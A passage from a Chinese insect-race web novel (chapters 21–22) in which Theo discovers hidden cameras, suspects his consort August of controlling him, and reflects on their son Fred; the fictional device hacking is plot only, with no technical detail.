但奥古斯特没有亲在嘴上,只在他额头轻点一下,像是蜻蜓点水,痒痒的。 “对了,”西奥抓住雌虫的腰带,不肯松手,“一个月的时间,马上就到了。” “你想出门?”奥古斯特问。 “出去看看也挺好的!”西奥答,说不定心情好了,这个系统就消失了! “行。想去哪里告诉克利夫,让他开飞行器接送你。” “好!”然后西奥开始数自己的打算,“那我要先去精神力研究院看看,毕竟是自己的单位。然后去逛商场,买衣服……哦对了,我还答应了吉尔要请他吃饭……” “好,都行。”奥古斯特刚要走,又被雄虫一根手指勾住了衣领,“那个……” “你没有在监视我了,对吧?”西奥终究还是直接问了,他笑意浅浅,直视着那双湛蓝的眼眸,“我是说,这个房间里,不会有摄像头监控吧?” “宿主你怎么直接问出来了啊啊啊!”系统嗓子都要破音了。 这不是为了让系统死心吗。 “当然没有。”奥古斯特答。 雌君离开后,西奥又把自己摔进大床里,抱着被子猛吸。嗯……闻起来像奥古斯特。 “你满意了吧?”西奥对系统说,“奥古斯特没有在监视我,不要疑神疑鬼了!” “你直接当着面问,他当然不会承认了!这算什么证据?”系统不干,系统倔强,“谁知道有没有偷偷在你卧室里藏摄像头啊?” 西奥无语,“能藏在哪?” “这里吗?”他举起枕头。 “还是这里?”他掀起被子。 “还是这里?”他拿起闹钟,晃了晃。 就在这时,他突然听到了闹钟里面轻微的喀拉声。像是有什么零部件掉下来了。 嗯?怎么回事。 系统突然来了精神,“快打开看看!” 在打开闹钟之前,西奥仍然不相信会有什么监控。直到他顺着连接处的缝隙,找到卡扣开关处的凹陷摁下,轻松将外壳卸下。 然后,一枚摄像头——不知为何被切成了两半的摄像头,滚落出来,掉到了地上。 轻轻的咔哒一声。 奥古斯特撒谎了。 就在刚刚,当着他的面,在他的注视下,面不改色撒谎了。 长久坚实的信任,终于头一次裂开了一道缝。《 》 20-30 第21章 第21章疑心?(三合一)[VIP] “你之前说, 你能入侵电子系统,对吧?” “什么?”系统一愣,“对, 我可以。” “那这个摄像头……” “那不可能,我入侵别的系统也是需要条件的!”系统抗议, “更何况这个摄像头都坏了!两半了!” “你不能拿着别人剪下来的指甲给我, 然后让我入侵这个人的大脑吧!” 西奥:“好没用啊!” 系统:“喂喂!” “那手环呢, 手环可以吗?”西奥问。 “你点一下我发送过去的链接就行。” 也就是仍然需要手动操作。 “需要我进入你的手环吗?”系统提议, “我可以帮你检查手环是不是被监控了。” 被提醒了, 西奥才意识到的确需要这个验证。但是……一想到自己的浏览记录, 他觉得还是算了吧。总有别的方法。 而且, 西奥低头,打量了几眼手心里的摄像头,然后不动声色又把它放回了闹钟里。 说实话, 他仍旧是心怀希望的。 或许是很久之前装的,但忘记回收了?并不是真的想要监视自己。 虽然按照奥古斯特的严谨来说, 这点的可能性微乎其微。而且,这上面没有灰尘, 时间应该不会太久。 “总而言之!”系统倒是终于扬眉吐气一回, “我是对的!反派果然在监视你!看吧, 这就是铁证如山!” 但这个摄像头已经坏了,没在工作,至少说明, 他现在没有被监视。那么…… 西奥锁上门,环顾了一周自己的卧室。然后, 从角落开始,进行了一场细致全面的搜索。 床头, 窗台,书架,衣柜,门框,地板,甚至连卫生间的边边角角都没放过。 前前后后,又找到了五个摄像头。无一例外,都是坏的。 有藏在百叶窗里的,有藏在通风口的,有藏在书本里的,甚至还有藏在衣柜把手里的。 只有卫生间这种涉及隐私的地方,还没有被监视。 每找到一个,伴随着系统“我就说吧我就说吧!”的嚷嚷,西奥的心就往下又沉了一点点。 西奥没有把它们取出来,只是坐在中间的床上,陷入了茫然。 什么时候开始的?又是什么时候结束的?确定是奥古斯特吗?如果是,为什么不告诉自己? 为什么,要当着自己的面,撒谎呢? 此时此刻,西奥无比渴望能够拥有辨别谎言的技能。 凌乱的被子里还藏着些许温度,但西奥只觉得浑身发凉。不久前的幸福,此刻已经消散一空,荡然无存。 他像一个失去了灵魂的人偶一样,在床上呆坐了好一会儿。 “宿主……”眼看西奥大受打击,系统也不好嚣张了,说话都带了点小心翼翼,“你没事吧?” “一定是有隐情。”西奥说,又重复了一遍,“他一定是有苦衷才会……” “监视你?” “圈养你?” “控制你?” 一连三个反问砸下来,西奥着实愣了好一会儿。甚至有那么几秒,真的顺着系统的思路去想了。 不对不对!他跟奥古斯特几十年的夫夫情谊,难道要被几颗小小的坏掉的摄像头,和一个明显心怀不轨的系统给破坏吗? 说不定,是因为担心自己的健康,所以才安了监控。 但如果是这个原因,为什么不像在医院里那样,光明正大放出来呢? 又或者,又或者,这是其他势力安装的摄像头,是针对虫皇的,奥古斯特发现了它们并及时切断了,只是怕自己担心所以没说。 为了验证自己的猜想,西奥立刻行动,又去检查了好几个房间。自己经常去的书房、健身房,也都找到了几个坏掉的摄像头。但是,奥古斯特曾经住过的次卧是干净的。 如果真是其他势力,都能在皇宫里安装摄像头了,会不知道奥古斯特住在次卧吗? 所以,不管怎么想,这就是针对自己的。 但是,为什么呢? 因为自己失去记忆,就不再信任了吗? “那肯定是因为,他是狡猾奸诈的反派啊!”系统抢答,“反派不都这样吗!” “他不是反派!”西奥咬牙说。 但他们之间的确出现了问题。确切来说,是信任危机。 不论如何,奥古斯特当着他的面,对他撒了谎,这是事实。 等真的发生了这样的事情,西奥才意识到,自己身边连个能吐槽和商量的虫都没有。 因为不管是诺亚还是克利夫,都是奥古斯特的下属。 吉尔倒是自己的朋友,只希望他今天已经休息好了。但等西奥点开自己的手环,又顿住了。 这个手环,也是奥古斯特给的。 他又想起对方还一并给了他项链和戒指,赶紧摸了摸。好在这两样东西都足够小,小到不可能藏得下摄像头。 “真的不需要我进入你的手环吗?”系统恶魔低语,火上浇油,“我可以向你证明,你的手环也被控制了哦~” 但系统本来就有立场。西奥并不信他。 “叮”的一声,手环提醒,收到了陌生信息。 西奥删掉了那条来自系统的信息,“不用了。” “不过,你可以帮我入侵其他虫的。” “谁的?奥古斯特吗?他的可能……防火墙比较复杂的。” 西奥迅速关掉手环,然后出门下楼。 “宿主,你要去哪?”系统赶紧问,“你不会要去找虫皇反派对峙吧!” 西奥不答,只是大步流星,走出了要去杀人的气势。 “等下,宿主你冷静一下!”系统急了,“你现在什么倚仗都没有,直接去问不就是送吗!反派要是直接把你咔嚓了怎么办!” “还是迂回一下吧!迂回!” 到了一楼,果然克利夫还在看手环。见到西奥下来,他立刻关掉了投屏。 “奥古斯特在哪?”西奥问。 “冷静,冷静啊,宿主!”系统还在试图阻止。 “这个时间,”克利夫看了一眼手环,“应该在跟诺亚上将他们开会。” “最近要准备年终述职会议,挺忙的。” “我要去精神力研究院,你能送我吗?”西奥说。 另一边系统终于松了一口气,“呼——原来不是去找反派啊!那就好那就好,宿主你理智还在啊!” “现在?”克利夫一愣,“您要去上班?” “我问过奥古斯特了,他说我能出门。” “这倒不是问题。但是您休假还没结束……”克利夫委婉问道,“以前您上班可没这么积极。” “谁说我是去上班的?”他是去找帮手的。“摸鱼不行吗?” “您这是点我吗?”克利夫辩解,“上次的小说,真是意外……” 西奥但笑不语。 克利夫闭嘴了,“我马上安排,稍等。” 这次两个虫出行,乘坐的是小型飞行器。有点像圆滚滚的小汽车,空间比之前的飞船要小多了。加上驾驶位,总共也只有四个位置。不过坐起来倒是很舒服,四周和顶部用了大片的玻璃,视野也不错。 “麻烦您,系好安全带。”克利夫说着,启动了飞行器。 西奥在一旁认真看着,准备学学怎么操作。结果就看到克利夫在操纵屏幕上输入了一个地址,然后点击确认。 飞行器就开始升空了。 “就这?”这完全没有技巧啊!他自己也能开。 “这是皇家护卫队专用的小型飞行器,别看不大,但是配备专门的武器系统。就连这个玻璃,也都是防弹的。”说着,克利夫敲了敲旁边的窗户,“虽然平时都用自动驾驶,但手动驾驶也是需要训练和技巧的。没有授权的虫,是不能私自驾驶的。” 懂了,高级防弹私家车。 “我没有自己的飞行器吗?”西奥问。 “有的。不过……” “您跟陛下,共用一台飞行器。所以需要的权限更高,我是开不了。” 大概十几分钟后,他们就飞出了皇宫的视野范围。飞行器发出提示音,代表他们已经爬升到了平稳的巡回高度。紧接着,空中突然滑过了一道明亮的痕迹。像一簇闪耀的箭头,不经意间从身侧飞过。 后知后觉,西奥才发现,那是另一台在其他高度的飞行器。明亮痕迹是因为玻璃的反光。接着,第二道,第三道,无数道飞行痕迹,仿佛蓝天下的一道道白光,流星一样划过天边,交织成了四通八达的飞行网络。 “哇……”西奥第一次见到这副繁华的场景,不由再次为虫族的科技所折服。 “说不定,其他车上正有虫在监视你们呢!”系统的冷水虽迟但到。 “为什么皇宫附近没看到这么多飞行器?” “因为那里属于禁飞区域,也是为了安全着想嘛!”克利夫说,“你以为随便一个虫都能进皇宫?” 西奥的确经常忘记,自己竟是万恶的统治阶级,之一。 飞行器速度相当快。闲聊间,他们很快就抵达了皇家精神力研究院的大楼。那是一栋环形的高层建筑,从形状来看,有点像罗马的斗兽场。 等他们停在顶层的时候,已经有虫在等着他们了。 还不少。站了两排呢! 不过这些虫里头,西奥也只认识吉尔一个。 于是,吉尔就充当起了介绍的那个虫。 “这是副院长拜尔,负责的是能源部门。” “这是安德罗波夫主任,主要负责的是精神力武器化研究。” “这是……” 吉尔负责介绍,西奥负责点头、微笑加握手。这么挨个介绍一圈下来,西奥的脸都有点笑麻了。 说实话,对于这些不认识的同事,西奥完全没有任何想法。唯一有点眼熟的,是副院长拜尔。但也仅仅是眼熟而已。他现在的感受,就好像孤儿院每次有领养意愿的家长来参观时,被推着站在前排,听院长给他一个个介绍:这是王叔叔,这是李伯伯…… 除了尴尬,别无他感。唯一想做的,就是赶紧结束这个场合,找个清净的地方躲起来。 但别的不说,他们脸上的笑容倒是发自内心的,似乎真心欢迎他回来。 不过,等这个简短的欢迎仪式结束,西奥跟吉尔以及他的助手一起脱离大部队的时候,他还是大大的松了一口气。 “对于我回来这件事,大家好像很高兴?”西奥问。 “那当然了。你回来就意味着稳定的经费来源,和项目产出。”吉尔答。 换位思考一下,西奥完全就能理解了。白给的金钱和业绩,谁能不喜欢啊! 另一边,克利夫完成了交接任务,打完招呼就准备飞回去了。“什么时候回皇宫,提前十分钟给我发消息就行。随叫随到。” 西奥的院长办公室在顶楼,宽敞、明亮,落地窗办公桌沙发茶几书柜,一应具全。甚至还有了单独的休息室,和迷你餐厅。沙发是明亮温暖的橙黄色,配了黄色的抱枕。非常会享受,像他的风格。 他放任自己陷入柔软的椅子里,然后一眼看到了办工桌显眼位置的相框。那是他和奥古斯特的合照,两个虫都穿着款式简单的冲锋衣,他的是橙黄色,奥古斯特的是深蓝色。他笑得灿烂,眼睛都眯起来,双手环抱在雌虫腰间,而奥古斯特……依旧十分严肃。背景似乎是某个雪山。 他拿起照片,拇指落在奥古斯特身上,轻轻蹭了两下。 “宿主,恋爱脑不要在此时发作啊……” “恩爱秀得差不多了吧?” 西奥抬头,吉尔正一脸无奈的看着他。然后指了指电脑屏幕下方的圆形区域,“这里是指纹解锁,摁一下就能打开。” “哦,谢谢。”西奥放下照片,按照他说的往那里点了一下。屏幕很快亮了起来。 然后屏保是另一张他和奥古斯特的合照。 “噫……” “噫……” 系统和吉尔的嫌弃声音,在此刻微妙的重合。 “房间都没上锁,你随便用。文件柜如果有上锁的,也是指纹锁,你自己打开就好。有什么不知道的或者需要什么,隔壁右手边就是你助手汉斯的办公室,找他就行。” “没事的话,我就先走了。你现在是休假,没什么具体工作,我可不一样。今晚还有个论文的死线……” “等一下!”但是吉尔没能走成。 西奥起身,锁上了办公室的门。 “问你个事情,”西奥压低声音,“你知道微型摄像头在哪买吗?” “大概这么长,这么粗的。”西奥用手比划了一下。 吉尔奇怪地看了一眼,“你说的不就是普通的微型摄像头吗?无线通信的那种。随便在线上商城一搜,就有很多吧?” “我手环没电了。”西奥举起自己的手环给他看,“能用下你的手环吗?” “你桌上就有充电台吧。”这么说着,吉尔还是解开自己的手环,递了过去。 西奥接过吉尔毫无戒心递来的手环,在上面点了一通。 然后给吉尔看商城页面,“你看,这里面搜到的摄像头,都会在侧面或者背面有商标。我想要的,是什么标识都没有的那种。” “宿主你观察这么仔细吗,什么时候注意到的?!”系统惊呼。 吉尔也皱眉,“那可能就是定制的外形吧?” “你知道哪里能定制这个东西吗?” 吉尔反问,“你要这东西干什么?” 西奥表情有一瞬间的慌乱,但很快镇定下来,“科研上用的。” “科研上会用到这个吗?”吉尔似乎不信。 “嗯……一个新项目。” 吉尔还是一脸狐疑。 “帮我留意下呗,你不是我的朋友嘛!”最终还是打出了友情牌。 “好,如果看到的话。我会告诉你的。” 吉尔离开后,西奥回到自己的座位上,轻轻地转着座椅,一直等到门外听不到任何脚步声。然后才站起来,开始检查自己的办公室。所有能藏摄像头的地方,都查了一遍。 干净的。 “我虽然入侵不了摄像头,但是我能检测到。这件办公室没有被监控。”系统安慰道,“是安全的。” 西奥稍稍放心,然后问:“系统,刚刚吉尔的手环,进去了吗?” “嗯,进去了。” “投屏,到我的电脑屏幕上。” 屏幕上立刻出现了一个小小的方框,黑色的,监视着吉尔手环的动态。 “但是你刚才有点慌了,吉尔不会察觉吗?” “没关系。”西奥盯着那个黑色小方块,“正好让我们看看,吉尔到底有没有问题。” 几分钟后,吉尔的手环亮了,一条信息出现,来自一个备注皇家护卫队的虫:【西奥在研究院,有什么情况吗?】 一分钟后,吉尔回复:【没有,一切正常。】 好消息:吉尔没有背叛他们的友谊。 坏消息:他的确被监控了,还是人肉……虫肉监控。 西奥说不清心里是什么滋味。好像他知道的越多,就越失望。 “反派就是反派呢!反派是不可能成为老婆的!”系统开始唱歌。 “闭嘴。” 就在这时,敲门声响了。 西奥整理了一下表情,“请进。” 是他的助手汉斯。他是个亚雌,个子不高,瘦瘦小小的,扎着金色的马尾,说话声音也是小小的。之前跟着他和吉尔回来的时候,一直都很安静,于是被西奥一时忽略了。 “已经中午了,需要我帮您订午餐吗?”他问。 抵达研究院的时候已经接近中午。西奥看了一下时间,果然到饭点了。不论发生了什么,美味的食物总归能让心情好些。 “研究院没有食堂吗?” “有的,但是您不怎么去。” “没关系,今天就试一下吧!” 他们一同出门,西奥意识到汉斯的步子比较小,于是便放慢脚步,好让他跟上,“抱歉,我什么都不记得了,给你们添了很多麻烦吧。” 谁料汉斯摇摇头,“院长能回来,我们都很高兴。” “因为我是研究院最大的经济来源?”西奥开玩笑道。 “不仅如此,”汉斯说,“您是整个研究院的主心骨。这个研究院,本来就是您一手组建创办的。” “我还以为是我只是挂个名,不管事呢。” “嗯……有些方面,您确实不怎么干涉,尤其是行政和财务。但毕竟您的实力是帝国顶尖,这都有目共睹。所以如果有重大决策,尤其是出现纠纷的,您是负责拍板的那个。”汉斯说,“家里长辈都说,要让我以您为目标,好好努力。我说,那我可不敢想!” “我最多也就是跟在您身后,好好学习。” “家里长辈?” “嗯,我也姓兰斯顿。刚才吉尔主任介绍的时候,提了一嘴的。” “这么说,我们是亲戚咯?”西奥真心有点好奇,“你多大了?” “只能算远房表亲吧!兰斯顿还是很多的。”汉斯答,下台阶的时候马尾一甩一甩的,“我今年二十五岁,刚来研究院,还不到两年。” “说起来,能进研究院,还要感谢您。” “是吗?” “当年我申请研究的课题是雄虫的精神力能源化利用,在这之前,从来没有虫做过,一直都是做雌虫的。是您力排众议,我才能够把课题继续下去。后来担心我被其他大家族的雄虫排挤,才让我做了您的助手。” 一谈到具体的研究,西奥还是有点心虚,赶紧打个哈哈掩饰过去,“那肯定也是你自己足够努力。” 汉斯愉快地点头,“已经有很大进展了!马上就可以发论文。说不定有希望解决虫族的能源问题!” 年轻虫就是有干劲啊!西奥不由感叹。 两人一边闲聊,一边进了食堂。这里的确很多虫,熙熙攘攘的。时不时的,就有虫过来喊一声院长,或者闲聊几句。也有不少跟汉斯打招呼的。 作为院长,西奥在这里的确很有威望。 等到了打饭的窗口,西奥看着餐盘里爬来爬去的蠕虫一样的东西,终于知道自己之前为什么不喜欢来食堂了。 “这是……什么?”西奥别开视线,艰难地问道。 “哦,因为院里雄虫比较多,所以会准备很多活体食物。都很新鲜,而且很贵的。”汉斯解释,“不过,您好像不怎么喜欢。” 何止不喜欢,他现在没有吐已经非常努力了好吗!!! 他现在才意识到,自己在皇宫里吃的饭菜有多么“正常”。 “有没有……不动的食物?” “有的有的。在另一边。” 但是西奥的胃口已经被蠕虫搞没了。最后只简单地吃了一盘青菜。 返回办公室后,西奥试探着问:“话说我的手环刚才不小心洒上水,现在开不了机。你知不知道哪里可以买一个或者借一个先用着呢?” “我怕奥古斯特联系不到我,会担心。”他补充道。 “那您用我的备用手环好了。”汉斯立刻,“在我办公室,我待会拿给您。不过需要您把我的账号退出,然后重新登录一下。” “那真是谢谢你了,帮了大忙。”然后西奥又问:“对了,你知道什么是雄虫保护模式吗?之前有段时间我的账号查不到余额,客服说是这个原因。” “那是什么?”汉斯一脸茫然,“没听说过这种东西啊?” “要不要打电话问问陛下?您现在失忆,千万别被骗了!” 原来,没有这种东西。 原来,不止一次欺骗。 虽然已经有所准备,但西奥脸上的笑容还是有些摇摇欲坠。 “放心吧,我不会再被骗了。” 再一再二,不再三四。 西奥就这样轻而易举拿到了汉斯的手环。确定安全的、没有被监控的手环。 然后,开始进行对比。 同样的问题,用自己的手环,和用汉斯的手环,搜索结果完全不同。 比如,用汉斯的手环,他看到了不少关于奥古斯特的负面评价。原来以为是风评控制得好,现在看来,控制的只有自己。 手环有没有被监控不知道,但有问题是肯定的。 他突然发现,自己好像一直生活在一个真空泡泡里。他接触到的信息、遇到的人、甚至一举一动,似乎都在奥古斯特的掌控之中。 有意思吗?图什么呢?! 他突然想起《楚门的世界》。原来楚门不是别人,正是自己。 真是笑死人了…… “宿主,宿主,你怎么了?”因为长久的沉默,系统大概是看出了他的异常,鼓励道,“你看现在这么多证据,这是大胜利啊!” “找到证据了,然后呢?” “然后你就会相信我,一起做任务了!” 杀死奥古斯特? 绝无可能。 哪怕他被监控了,被限制了,被欺骗了。他当然会不开心,会愤怒,会质问,会反抗,这都是人之常情。但杀戮? 他做不到。 别说杀奥古斯特,自己的雌君,多年的伴侣,虫崽的雌父。就是路边一个陌生的毫无关系的雌虫,西奥自认也下不去手。 他又不是什么冷血杀手! 于是西奥关掉电脑。果断起身,离开了办公区。 “宿主要去哪?不搜集证据了吗?” “我累了。要睡觉。” “哎?现在不应该抓紧时间吗?你这个时候怎么睡得着啊!” “闭嘴。” 在多次交锋中,始终没讨到好处的系统已经学乖了,立刻安静了下来。 西奥把自己扔进了休息室的床上。闭上眼睛,思绪纷乱。 过往的场景一幕幕浮现在眼前。初见时的心动,遇险时的救援,飞行时的拥抱,甚至于,就在不久前的夜晚,他们还水.乳.交.融,亲密无间。 怎么现在就成了这样呢? 他是不是从来没有看清楚过奥古斯特? 乱着乱着,也睡着了。 然后,他做了一个梦。 他的怀里沉甸甸的,又暖呼呼的。他正抱着什么,然后轻轻摇晃。 “很久很久之前,熊有一条长长的尾巴——”他声情并茂地讲着一个故事,然后,突然被什么东西轻轻地挠了下巴,软软的,热热的。 “爹地……”西奥低头,便看到两颗笑扁了的黑葡萄。 小崽子两三岁,腮上还有不少肉,小脸又圆又软,西奥忍不住伸手捏了一把。 “唔……不要……”小家伙立刻抗议,拍打他的手背,“我也想要尾巴!” “是吗,小弗想要什么样的尾巴呀?”手从脸颊移开,又握住了他的小肉爪。 “长长的,鞭子一样的,还能放闪电!”说到激动处,虫崽直接在他腿上站了起来,手指比出枪的姿势:“啪!” 西奥被逗笑了,“最近又看什么动画片了?” “不要缠着你的雄父。”正闹着,一个不赞同的声音传来。 虫崽立刻像考拉一样扒在他身上,“雌父凶!就要缠,就要!” 西奥也把虫崽抱住,“没关系的,我不累。” “你这样会把他惯坏的。”严肃理智的虫皇陛下开始讲道理了。 虫崽趴在西奥耳边告状:“雌父不让我吃糖,还说要打我屁股!” 西奥想笑,抱着崽子拍拍后背,又亲一口小肉脸,“对哦,好危险!我们的小弗会被宠成一个幸福的肉团子。太可怕了!” 奥古斯特还想说点什么,西奥扯出胸口的忍冬项链,递到唇边,轻轻亲了一下。 雌虫的话顿时被噎住了,他抿了抿唇,没再说话。 但小孩子的注意力总是很容易分散。不知道看到了什么,他立刻又不要雄父了,挣扎着要下去,嘴里喊着:“ge……” 西奥醒了。 被敲门声吵醒的。 但他一时半会儿没有缓过来。梦里的感觉太过幸福,太过温馨,甚至手上、胸前还留有小虫崽柔软的触感。在此之前,因为一直没见过弗雷德,甚至知道的信息都很少,西奥其实没有仔细想过,一个孩子,对于他这个孤儿出身的人来说,究竟意味着什么。 仿佛所有的爱意和温柔,都有了安放之处。 敲门声再次响起。 “来了。”西奥终于起身,稍微整理了一下睡乱的头发,打开了办公室的门。 外面还是汉斯。“啊,抱歉,打扰您休息了吗?” “没关系,有什么事吗?” “倒没什么事……”汉斯有点不好意思,“现在是下班时间了。以往,不管忙什么,您都会让我提醒一下,是时候回家了。” “啊,谢谢。”准时下班的确是一项美德。 “对了,还有一件事情。”汉斯说,“弗雷德中将的生日快到了。以往都是提前一周提醒您的。不过不知道您明天还来不来,所以,我想着就今天说一声吧。” 这倒是个新鲜消息。“弗雷德的生日?什么时候?” “12月20号。还有两周。” “我以前都会准备什么?” “之前我不知道。去年的话,您准备的礼物是一套绘画颜料。” “原来他喜欢画画?” “嗯,可能是。” “那您,要现在回家吗?”汉斯问。 西奥想了想,“等会儿吧。刚睡醒,有点晕乎。对了,你的手环……” “没事儿,您先用就好。用完了还我就行。请务必保重身体啊,院长!” 汉斯离开后,西奥又回到了办公室。很快,自己手环收到了来自奥古斯特的消息:【我听说你去研究院了。今晚回来吃饭吗?】 回去吗?说实话,西奥没有想好怎么面对奥古斯特。 是假装若无其事?还是旁敲侧击?又或者…… 西奥再次打开办公桌上的电脑。盯着整理了一半的文件。其实大部分都是科研相关的,不过也有一些…… 西奥点开了一个名为家庭的文件夹。然后迅速被里面数量庞大的照片和视频给淹没了。 好家伙,看来过去的自己偷懒了,完全没整理啊! 但现在的自己……也不是很想收拾烂摊子。 于是,随机点开了一个视频。 “在拍了吗?”视频里,是一个看起来五六岁的虫崽,俯拍视角,感觉是手持拍摄。显得虫崽头大身子小。 “在了在了。”这是自己的声音。 视角很快拉远拉平,这下能够看清虫崽了。小小的弗雷德穿着一身迷你军装。昂首挺胸,一脸严肃,看起来非常像那么一回事。 “我!弗雷德·兰斯顿!在此宣誓!”小家伙甚至像模像样敬了个礼。 “我将成为皇家护卫队的一员,从此以后,我会守卫至高无上的荣耀……” “在干什么?”另一个声音闯入了镜头。紧接着面孔也闯了进来,小半张脸占据了大半的镜头,熟悉的蓝色眼眸在镜头下熠熠生辉。 “在给弗雷德拍入伍宣誓呢!”这是自己。 “雌父,你挡到我了!” “啊,抱歉。” 脸庞退出,镜头晃了几下,重新对准了弗雷德。 小虫崽装模作样清了清嗓子,但还没等他开口,就被成年雌虫一把抱起,“ 阿弗长大想当军雌?” 镜头再次跟随,到了奥古斯特怀里的虫崽身上,然后拉远,把雌虫和虫崽一并拍了进来。 弗雷德认真点头,“想!” “为什么想当军雌?很危险的。” “雌父不也是军雌吗!很厉害,很帅!我喜欢雌父!”弗雷德掰着手指认真细数原因,“而且,我们莫德家族,不是生来就是神兵吗?” 镜头中,雌虫温柔地看向自己的虫崽,“谁跟你说,莫德生来就是神兵的?” “萨迦叔叔说的。他还说……”然后,虫崽就被镜头外的什么东西吸引了注意力,他拍了拍奥古斯特的小臂,“雌父放我下来吧。我要……” 就在这时,电话打进来了。是奥古斯特。 大概是许久没回复,担心了。 西奥把视频暂停,看到后面还有挺长一段,就暂时收藏,先关掉了。 然后,接通了来自奥古斯特的视频通话。 这些年奥古斯特的外貌几乎没什么变化。隔着手环的投屏,如今的雌虫跟视频里的那个仿佛奇妙的重合。他恍惚能够看到如今的奥古斯特,也将温柔地亲昵他们即将出生的虫崽。 即便只是想象,也足以让他微笑。 家,是什么呢? 在最初的记忆里,家就是院长、老师,还有小伙伴们。但后来长大,池骁也知道了什么才是正常的家庭。是三口之家,是爸爸妈妈和孩子。他对这样的家庭有过羡慕吗?有过向往吗? 他不知道。他未曾拥有,未曾经历。就像是广告中从来没有吃到过的高乐高,他没办法知道,那东西到底是甜是苦,是好吃还是难吃,是幸福还是苦难。 但他现在知道了。那个梦让他有了触感,那个视频让他有了视觉和听觉,让他清晰看到了、感受到了,一个家,一个他和奥古斯特共同打造的小家,是怎样的幸福和完美。 “在忙吗?”视频通话中,奥古斯特问。 欺骗和监控当然不对。但是,西奥扪心自问,他愿意为了守护这份来之不易的幸福,付出多少、退让多少呢? “没有、没有在忙。”西奥答。 “宿主,你卡壳了!快打起精神来对付反派啊!”系统着急道,“千万别露馅啊!” “那在做什么?” “在……回忆美好往昔。“西奥说着,然后笑了一下,”原来弗雷德,是黑色眼睛啊?” “牛啊,宿主!这么快就转移话题了!” “你想起来了?”奥古斯特有些意外,“我的眼睛本来也是黑色。只是在阿凯特斯星区待过很长时间,所以被染成了阿凯特斯蓝。” “你……除了想起弗雷德的眼睛,还想起别的了吗?” 西奥摇摇头,“我什么都没想起来。” “只是看到了视频。” “视频?什么视频?你还保留了弗雷德的视频?” “就是之前随手拍的家庭视频,你不知道吗?是弗雷德小时候的。” “视频里只有弗雷德吗?没有别虫?” “嗯……还有你。还有我的声音。” 奥古斯特的震惊不似作假,“所以你真的不知道?” “小时候的视频,我都不记得了。我不知道你……还保留着它们。” “弗雷德的生日不是快到了吗?我就想着,从电脑里找找线索。”西奥笑,“失去了记忆,那也是亲生雄父,也要准备礼物的。” “嗯。” 一时之间,两个虫都有些沉默。 “奥古斯特,有件事情……我想问问你。但我还没想好怎么问。”西奥试图整理自己的措辞,“我今天,晚点回去,可以吗?” “是关于什么的事情?” “关于我们。你、我,弗雷德。我们这个家。” 奥古斯特沉默了好一会儿,“你今晚,几点回来?我去接你。” 西奥看了一眼手环时间,“现在是五点半,我待会去附近新开的商场逛一圈,在那里吃个饭。” 这并不是撒谎,而是今天午饭时候,汉斯告诉他的。 他还从汉斯口中得知,那里支持现金交易,可以购买各种款式的手环。 不论如何,西奥仍然需要一个安全的备用手环。 “大概八点,我就回去。” “好,那就八点。” 约好时间,两个虫各自下线。 西奥并不知道,自己这番话,在奥古斯特心中掀起了怎样的惊涛骇浪。 为什么会突然提起弗雷德?只是因为生日快到了吗?谁提醒他的?还是已经知道了什么? 奥古斯特已经开始后悔,放西奥离开皇宫了。或许,把他一直关在家里,才是正确的选择。他就不该听小弗的。 就在早些时候,奥古斯特刚刚经历了一场心理咨询。 不是自愿的,是在诺亚、萨迦、安德森和小弗的强烈要求下,才找了一个年轻的心理咨询师。 场所全封闭,内容全保密。 对方一开始也吓得不轻。毕竟被从工作场所直接带出来,还是护卫队的虫,然后说要做治疗,对象还是虫皇陛下。 “最近,我使用了一些特殊手段,处理了护卫队内部。” 还一上来似乎就是军事机密! “等下!”咨询师赶紧打断,“这是我能听的吗?” 对此,奥古斯特春风和煦道:“只要你不出去乱说,安全我可以保障。” “不仅是你,你的家族,我也可以确保他们的安全。” 咨询师稍稍安心,也明白现在不是自己能够掌控的情况。从今以后,不管他怎么想,他和他的家族,再也没办法保持中立了。在别虫眼里,他们已经是虫皇一派了。 事已至此,也就安下心来,做好本职工作。 奥古斯特说了很多。最近的感染谣言,几方势力的蠢蠢欲动,西奥的事故,继任者的选择。听起来十分有条理,且坦诚。 大多数时候咨询师只是充当一个倾听者,偶尔在纸上记录几句。他听得非常认真,也会在几个关键地方引导,“所以,你觉得有压力吗?” “你会对此感到失望或者愤怒吗?” 等奥古斯特大致说完了最近发生的状况,咨询师合上了他的笔记本,“听起来,您对于最近的生活工作,都处理得很好。” “虽然遇到一些波折,但都过去了。” “是。”奥古斯特说,“我不明白,为什么他们还要坚持让我来做心理咨询。” “可能是出于对莫德神兵这个身份的担心。我经手过几个同样是莫德出身的客户,他们的问题都很严重。很多都存在生理上的直接疼痛。” “但您不一样。您可以处理好这个,我觉得更应该关心的是另一个问题。” 咨询师拿出文档,“我这里有您的过往心理咨询记录,其实您一直有规律的进行心理咨询,直到三年前。” “记录上突然出现了大片空白。” 奥古斯特的轻松自在消失了,他的脊背绷紧,嘴角下压。眼神沉默又锋利。 “我知道这个问题您或许不想听,但作为职业的心理咨询师,我仍然必须要问。” “这种异常,是因为在三年前的托亚扪事件中……” “您亲手杀死了自己的虫崽吗?” 作者有话说: 崽为什么叫弗雷德,相信看过哈利波特的应该都猜到了吧?不要急着走,后面会有红包抽奖! 第22章 第22章虫崽[VIP] 弗雷德低着头, 冷水从他双手上流过,带走上面的鲜血。 他用力搓洗,直到手上完全干净。然后抬头, 看向镜中,那张再熟悉不过的脸。 银发黑眸, 五官深邃, 线条锋利。如果稍稍低头, 眉峰便会上扬, 压住眼尾, 显出一种压迫和威严。 “有七分奥古斯特的神韵。”这是萨迦的评价。 但只要稍微仰起头, 下巴抬起, 便会看到舒展的眉眼,稍微带点笑意,就是温柔又洒脱的神情。 “像个骄傲的小西奥。”这是安德森的评价。 弗雷德曾经也很喜欢自己的脸。好看的外表, 谁会不喜欢呢? 直到三年前。 他也像奥古斯特一样,害怕看到这张脸了。 但雌父能避开他, 能收起所有的照片,能够不见他。他却无处可逃。 每次照镜子, 他都会看到这张脸。 于是, 他也开始害怕照镜子。 但是, 但是…… 弗雷德恍惚伸出手去,触碰那张面容。 直到碰到冰冷的镜面,才猛然惊醒。指尖的冷水点在镜子上, 留下一滴豆大的泪痕。 我们总以为,时间可以愈合所有伤口。但不是的, 不是那样的。 伤口会变成一个洞,它永远在那里, 成为了你的一部分。只要有风吹过,就会发出呼啸。 弗雷德用冷水洗了把脸,感觉精神了不少。然后定定看了镜中虫一眼,擦干双手,转身离开了卫生间。 这里是第一军团的审讯区。有几个同事正在忙着记录存档,还有一些正忙着善后。过道上虫来虫往,很是忙碌。 